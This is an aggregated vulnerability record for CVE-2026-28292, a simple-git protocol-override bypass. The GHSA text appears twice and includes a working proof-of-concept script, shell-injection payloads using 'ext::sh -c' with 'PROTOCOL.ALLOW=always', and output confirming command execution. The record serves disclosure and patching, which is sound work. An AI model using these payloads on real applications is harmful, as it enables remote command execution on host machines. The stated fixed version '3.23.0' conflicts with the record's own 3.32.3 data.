{"id":"CVE-2026-28292","aliases":["EUVD-2026-10790","GHSA-r275-fr43-pm7q","openSUSE-SU-2026:10327-1"],"status":"published","title":"simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key that enables RCE","description":"`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.01441,"percentile":0.73425,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-178","CWE-76","CWE-78"],"published":"2026-03-10T18:34:21Z","modified":"2026-10-28T02:31:09Z","fixes":[{"ecosystem":"npm","package":"simple-git","fixed_in":["3.32.3"],"sources":["ghsa","osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"heroic-games-launcher","fixed_in":["2.20.1-3.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"simple-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.15.0"},{"fixed":"3.32.3"}]}]},{"source":"osv","ecosystem":"npm","package":"simple-git","ranges":[{"type":"SEMVER","events":[{"introduced":"3.15.0"},{"fixed":"3.32.3"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"heroic-games-launcher","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.20.1-3.1"}]}]}],"products":[{"vendor":"red hat","product":"logging subsystem for red hat openshift"},{"vendor":"red hat","product":"red hat enterprise linux 8"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 8"},{"vendor":"red hat","product":"red hat jboss enterprise application platform expansion pack"},{"vendor":"red hat","product":"red hat process automation 7"},{"vendor":"simple-git_project","product":"simple-git"},{"vendor":"steveukx","product":"simple-git"}],"references":[{"url":"https://github.com/steveukx/git-js/security/advisories/GHSA-r275-fr43-pm7q","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292","tags":["x_refsource_MISC","Exploit","Third Party Advisory","web"]},{"url":"https://www.codeant.ai/security-research/simple-git-remote-code-execution-cve-2026-28292","tags":["exploit","evidence","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-28292","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2446162","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-28292.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28292","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-r275-fr43-pm7q"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/28xxx/CVE-2026-28292.json","tags":["advisory"]},{"url":"https://github.com/steveukx/git-js","tags":["package"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28292","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-28292","title":"simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key that enables RCE","description":"`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.","status":"published","published":"2026-03-10T18:34:21.717Z","modified":"2026-07-15T01:11:54.119Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-78","CWE-178","CWE-76"],"updated_at":"2026-11-02T14:20:02.290587Z"}],"euvd":[{"id":"EUVD-2026-10790","description":"`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.","status":"published","published":"2026-03-10T18:34:21Z","modified":"2026-07-15T01:11:54Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:19:55.842782Z"}],"ghsa":[{"id":"GHSA-r275-fr43-pm7q","title":"simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE","description":"### Summary\n\nThe `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol\noverride arguments when the config key is passed in uppercase or mixed case.\nAn attacker who controls arguments passed to git operations can enable the\n`ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an\narbitrary OS command on the host machine.\n\n---\n\n### Details\n\nThe `preventProtocolOverride` function in\n`simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24)\nchecks whether a `-c` argument configures `protocol.allow` using this regex:\n\n```ts\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n   return;\n}\n```\n\nThis regex is case-sensitive. Git treats config key names\ncase-insensitively — it normalises them to lowercase internally.\nAs a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`,\nor any mixed-case variant is not matched by the regex, the check\nreturns without throwing, and git is spawned with the unsafe argument.\n\n**Verification that git normalises the key:**\n\n```bash\n$ git -c PROTOCOL.ALLOW=always config --list | grep protocol\nprotocol.allow=always\n```\n\n**The fix is a single character — add the `/i` flag:**\n\n```ts\n// Before (vulnerable):\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n\n// After (fixed):\nif (!/^\\s*protocol(.[a-z]+)?.allow/i.test(next)) {\n```\n\n---\n\n## poc.js\n\n```js\n/**\n * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass\n *\n * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check\n * that blocks `-c protocol.*.allow=always` from being passed to git commands.\n * The regex is case-sensitive. Git treats config key names case-insensitively.\n * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.\n *\n * Affected : simple-git \u003e= 3.15.0 (all versions with the fix applied)\n * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5\n * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)\n */\n\nconst simpleGit = require('simple-git');\nconst fs = require('fs');\n\nconst SENTINEL = '/tmp/pwn-codeant';\n\n// Clean up from any previous run\ntry { fs.unlinkSync(SENTINEL); } catch (_) {}\n\nconst git = simpleGit();\n\n// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────\n// This is the exact PoC Snyk used to report CVE-2022-25912.\n// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.\ngit.clone('ext::sh -c touch% /tmp/pwn-original% \u003e\u00262', '/tmp/example-new-repo', [\n  '-c', 'protocol.ext.allow=always',   // lowercase — caught by regex\n]).catch((e) =\u003e {\n  console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');\n  console.error(e);\n});\n\n// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────\n// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.\n// Git normalises config key names to lowercase internally.\n// Uppercase variant passes the check; git enables ext:: and executes the command.\ngit.clone('ext::sh -c touch% ' + SENTINEL + '% \u003e\u00262', '/tmp/example-new-repo-2', [\n  '-c', 'PROTOCOL.ALLOW=always',       // uppercase — NOT caught by regex\n]).catch((e) =\u003e {\n  console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');\n  console.error(e);\n});\n\n// ── Real-world scenario ──────────────────────────────────────────────────────\n// An application cloning a legitimate repository with user-controlled customArgs.\n// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.\n// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates\n// but the injected argument enables ext:: and the real URL executes the command instead.\n//\n// Legitimate usage (what the app expects):\n//   simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',\n//                     '/tmp/codeant-quality-gates', userArgs)\n//\n// Attacker-controlled scenario (what actually runs when args are not sanitised):\nconst LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';\nconst CLONE_DEST     = '/tmp/codeant-quality-gates';\nconst SENTINEL_RW    = '/tmp/pwn-realworld';\ntry { fs.unlinkSync(SENTINEL_RW); } catch (_) {}\n\nconst userArgs   = ['-c', 'PROTOCOL.ALLOW=always'];\nconst attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% \u003e\u00262';\n\nsimpleGit().clone(\n  attackerURL,   // should have been LEGITIMATE_URL\n  CLONE_DEST,\n  userArgs\n).catch(() =\u003e {\n  console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',\n    fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');\n});\n```\n\n---\n\n## Test Results\n\n### Vector 1 — Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase)\n\n**Result: BLOCKED ✅**\n\nThe original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created.\n\n**Output:**\n```\next:: executed:poc not created\nGitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol\n    at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)\n    at .../simple-git/dist/cjs/index.js:1266:40\n    at Array.forEach (\u003canonymous\u003e)\n    at Object.action (.../simple-git/dist/cjs/index.js:1264:12)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)\n    at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)\n    at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {\n  task: {\n    commands: [\n      'clone',\n      '-c',\n      'protocol.ext.allow=always',\n      'ext::sh -c touch% /tmp/pwn-original% \u003e\u00262',\n      '/tmp/example-new-repo'\n    ],\n    format: 'utf-8',\n    parser: [Function: parser]\n  },\n  plugin: 'unsafe'\n}\n```\n\n---\n\n### Vector 2 — Uppercase bypass (`PROTOCOL.ALLOW=always`)\n\n**Result: BYPASSED ⚠️ — RCE confirmed**\n\nThe `preventProtocolOverride` regex `/^\\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream.\n\n**Output:**\n```\next:: executed: PWNED — /tmp/pwn-codeant created\nGitError: Cloning into '/tmp/example-new-repo-2'...\nfatal: Could not read from remote repository.\n\nPlease make sure you have the correct access rights\nand the repository exists.\n\n    at Object.action (.../simple-git/dist/cjs/index.js:1440:25)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {\n  task: {\n    commands: [\n      'clone',\n      '-c',\n      'PROTOCOL.ALLOW=always',\n      'ext::sh -c touch% /tmp/pwn-codeant% \u003e\u00262',\n      '/tmp/example-new-repo-2'\n    ],\n    format: 'utf-8',\n    parser: [Function: parser]\n  }\n}\n```\n\n`/tmp/pwn-codeant` was created by the git subprocess — command execution confirmed.\n\n---\n\n### Vector 3 — Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`)\n\n**Result: BYPASSED ⚠️ — RCE confirmed**\n\nAn application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure.\n\n**Output:**\n```\nreal-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created\n```\n\n`/tmp/pwn-realworld` was created — arbitrary command execution in a realistic application context confirmed.\n\n---\n\n## Summary\n\n| # | Vector | Payload | Sentinel file | Result |\n|---|--------|---------|---------------|--------|\n| 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked ✅ |\n| 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE ⚠️** |\n| 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE ⚠️** |\n\nThe case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.\n\n`/tmp/pwned` is created by the git subprocess via the `ext::` protocol.\n\nAll of the following bypass the check:\n\n| Argument passed via `-c` | Regex matches? | Git honours it? |\n|--------------------------|:--------------:|:---------------:|\n| `protocol.allow=always`  | ✅ blocked     | ✅              |\n| `PROTOCOL.ALLOW=always`  | ❌ bypassed    | ✅              |\n| `Protocol.Allow=always`  | ❌ bypassed    | ✅              |\n| `PROTOCOL.allow=always`  | ❌ bypassed    | ✅              |\n| `protocol.ALLOW=always`  | ❌ bypassed    | ✅              |\n\n---\n\n### Impact\n\nAny application that passes user-controlled values into the `customArgs`\nparameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git`\nmethods is vulnerable to arbitrary command execution on the host machine.\n\nThe `ext::` git protocol executes an arbitrary binary as a remote helper.\nWith `protocol.allow=always` enabled, an attacker can run any OS command\nas the process user — full read, write and execution access on the host.","status":"published","published":"2026-03-10T18:38:56Z","modified":"2026-04-14T21:58:02Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78","CWE-178"],"updated_at":"2026-11-02T14:39:54.128054Z"}],"nvd":[{"id":"CVE-2026-28292","description":"`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.","status":"published","published":"2026-03-10T19:17:20.84Z","modified":"2026-07-15T02:19:13.933Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78","CWE-178","CWE-76"],"updated_at":"2026-11-02T14:12:08.98071Z"}],"osv":[{"id":"CVE-2026-28292","title":"simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key that enables RCE","description":"`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.","status":"published","published":"2026-03-10T18:34:21.717Z","modified":"2026-10-28T02:31:09.35146587Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-178","CWE-78"],"updated_at":"2026-11-02T15:45:00.180685Z"},{"id":"GHSA-r275-fr43-pm7q","title":"simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE","description":"### Summary\n\nThe `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol\noverride arguments when the config key is passed in uppercase or mixed case.\nAn attacker who controls arguments passed to git operations can enable the\n`ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an\narbitrary OS command on the host machine.\n\n---\n\n### Details\n\nThe `preventProtocolOverride` function in\n`simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24)\nchecks whether a `-c` argument configures `protocol.allow` using this regex:\n\n```ts\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n   return;\n}\n```\n\nThis regex is case-sensitive. Git treats config key names\ncase-insensitively — it normalises them to lowercase internally.\nAs a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`,\nor any mixed-case variant is not matched by the regex, the check\nreturns without throwing, and git is spawned with the unsafe argument.\n\n**Verification that git normalises the key:**\n\n```bash\n$ git -c PROTOCOL.ALLOW=always config --list | grep protocol\nprotocol.allow=always\n```\n\n**The fix is a single character — add the `/i` flag:**\n\n```ts\n// Before (vulnerable):\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n\n// After (fixed):\nif (!/^\\s*protocol(.[a-z]+)?.allow/i.test(next)) {\n```\n\n---\n\n## poc.js\n\n```js\n/**\n * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass\n *\n * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check\n * that blocks `-c protocol.*.allow=always` from being passed to git commands.\n * The regex is case-sensitive. Git treats config key names case-insensitively.\n * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.\n *\n * Affected : simple-git \u003e= 3.15.0 (all versions with the fix applied)\n * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5\n * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)\n */\n\nconst simpleGit = require('simple-git');\nconst fs = require('fs');\n\nconst SENTINEL = '/tmp/pwn-codeant';\n\n// Clean up from any previous run\ntry { fs.unlinkSync(SENTINEL); } catch (_) {}\n\nconst git = simpleGit();\n\n// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────\n// This is the exact PoC Snyk used to report CVE-2022-25912.\n// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.\ngit.clone('ext::sh -c touch% /tmp/pwn-original% \u003e\u00262', '/tmp/example-new-repo', [\n  '-c', 'protocol.ext.allow=always',   // lowercase — caught by regex\n]).catch((e) =\u003e {\n  console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');\n  console.error(e);\n});\n\n// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────\n// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.\n// Git normalises config key names to lowercase internally.\n// Uppercase variant passes the check; git enables ext:: and executes the command.\ngit.clone('ext::sh -c touch% ' + SENTINEL + '% \u003e\u00262', '/tmp/example-new-repo-2', [\n  '-c', 'PROTOCOL.ALLOW=always',       // uppercase — NOT caught by regex\n]).catch((e) =\u003e {\n  console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');\n  console.error(e);\n});\n\n// ── Real-world scenario ──────────────────────────────────────────────────────\n// An application cloning a legitimate repository with user-controlled customArgs.\n// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.\n// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates\n// but the injected argument enables ext:: and the real URL executes the command instead.\n//\n// Legitimate usage (what the app expects):\n//   simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',\n//                     '/tmp/codeant-quality-gates', userArgs)\n//\n// Attacker-controlled scenario (what actually runs when args are not sanitised):\nconst LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';\nconst CLONE_DEST     = '/tmp/codeant-quality-gates';\nconst SENTINEL_RW    = '/tmp/pwn-realworld';\ntry { fs.unlinkSync(SENTINEL_RW); } catch (_) {}\n\nconst userArgs   = ['-c', 'PROTOCOL.ALLOW=always'];\nconst attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% \u003e\u00262';\n\nsimpleGit().clone(\n  attackerURL,   // should have been LEGITIMATE_URL\n  CLONE_DEST,\n  userArgs\n).catch(() =\u003e {\n  console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',\n    fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');\n});\n```\n\n---\n\n## Test Results\n\n### Vector 1 — Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase)\n\n**Result: BLOCKED ✅**\n\nThe original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created.\n\n**Output:**\n```\next:: executed:poc not created\nGitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol\n    at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)\n    at .../simple-git/dist/cjs/index.js:1266:40\n    at Array.forEach (\u003canonymous\u003e)\n    at Object.action (.../simple-git/dist/cjs/index.js:1264:12)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)\n    at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)\n    at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {\n  task: {\n    commands: [\n      'clone',\n      '-c',\n      'protocol.ext.allow=always',\n      'ext::sh -c touch% /tmp/pwn-original% \u003e\u00262',\n      '/tmp/example-new-repo'\n    ],\n    format: 'utf-8',\n    parser: [Function: parser]\n  },\n  plugin: 'unsafe'\n}\n```\n\n---\n\n### Vector 2 — Uppercase bypass (`PROTOCOL.ALLOW=always`)\n\n**Result: BYPASSED ⚠️ — RCE confirmed**\n\nThe `preventProtocolOverride` regex `/^\\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream.\n\n**Output:**\n```\next:: executed: PWNED — /tmp/pwn-codeant created\nGitError: Cloning into '/tmp/example-new-repo-2'...\nfatal: Could not read from remote repository.\n\nPlease make sure you have the correct access rights\nand the repository exists.\n\n    at Object.action (.../simple-git/dist/cjs/index.js:1440:25)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {\n  task: {\n    commands: [\n      'clone',\n      '-c',\n      'PROTOCOL.ALLOW=always',\n      'ext::sh -c touch% /tmp/pwn-codeant% \u003e\u00262',\n      '/tmp/example-new-repo-2'\n    ],\n    format: 'utf-8',\n    parser: [Function: parser]\n  }\n}\n```\n\n`/tmp/pwn-codeant` was created by the git subprocess — command execution confirmed.\n\n---\n\n### Vector 3 — Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`)\n\n**Result: BYPASSED ⚠️ — RCE confirmed**\n\nAn application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure.\n\n**Output:**\n```\nreal-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created\n```\n\n`/tmp/pwn-realworld` was created — arbitrary command execution in a realistic application context confirmed.\n\n---\n\n## Summary\n\n| # | Vector | Payload | Sentinel file | Result |\n|---|--------|---------|---------------|--------|\n| 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked ✅ |\n| 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE ⚠️** |\n| 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE ⚠️** |\n\nThe case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.\n\n`/tmp/pwned` is created by the git subprocess via the `ext::` protocol.\n\nAll of the following bypass the check:\n\n| Argument passed via `-c` | Regex matches? | Git honours it? |\n|--------------------------|:--------------:|:---------------:|\n| `protocol.allow=always`  | ✅ blocked     | ✅              |\n| `PROTOCOL.ALLOW=always`  | ❌ bypassed    | ✅              |\n| `Protocol.Allow=always`  | ❌ bypassed    | ✅              |\n| `PROTOCOL.allow=always`  | ❌ bypassed    | ✅              |\n| `protocol.ALLOW=always`  | ❌ bypassed    | ✅              |\n\n---\n\n### Impact\n\nAny application that passes user-controlled values into the `customArgs`\nparameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git`\nmethods is vulnerable to arbitrary command execution on the host machine.\n\nThe `ext::` git protocol executes an arbitrary binary as a remote helper.\nWith `protocol.allow=always` enabled, an attacker can run any OS command\nas the process user — full read, write and execution access on the host.","status":"published","published":"2026-03-10T18:38:56Z","modified":"2026-09-10T03:50:40.61252638Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-178","CWE-78"],"updated_at":"2026-11-02T15:46:55.122811Z"},{"id":"openSUSE-SU-2026:10327-1","title":"heroic-games-launcher-2.20.1-3.1 on GA media","description":"These are all security issues fixed in the heroic-games-launcher-2.20.1-3.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-03-13T00:00:00Z","modified":"2026-03-14T08:18:00.870379Z","updated_at":"2026-11-02T16:58:38.101535Z"}]}}
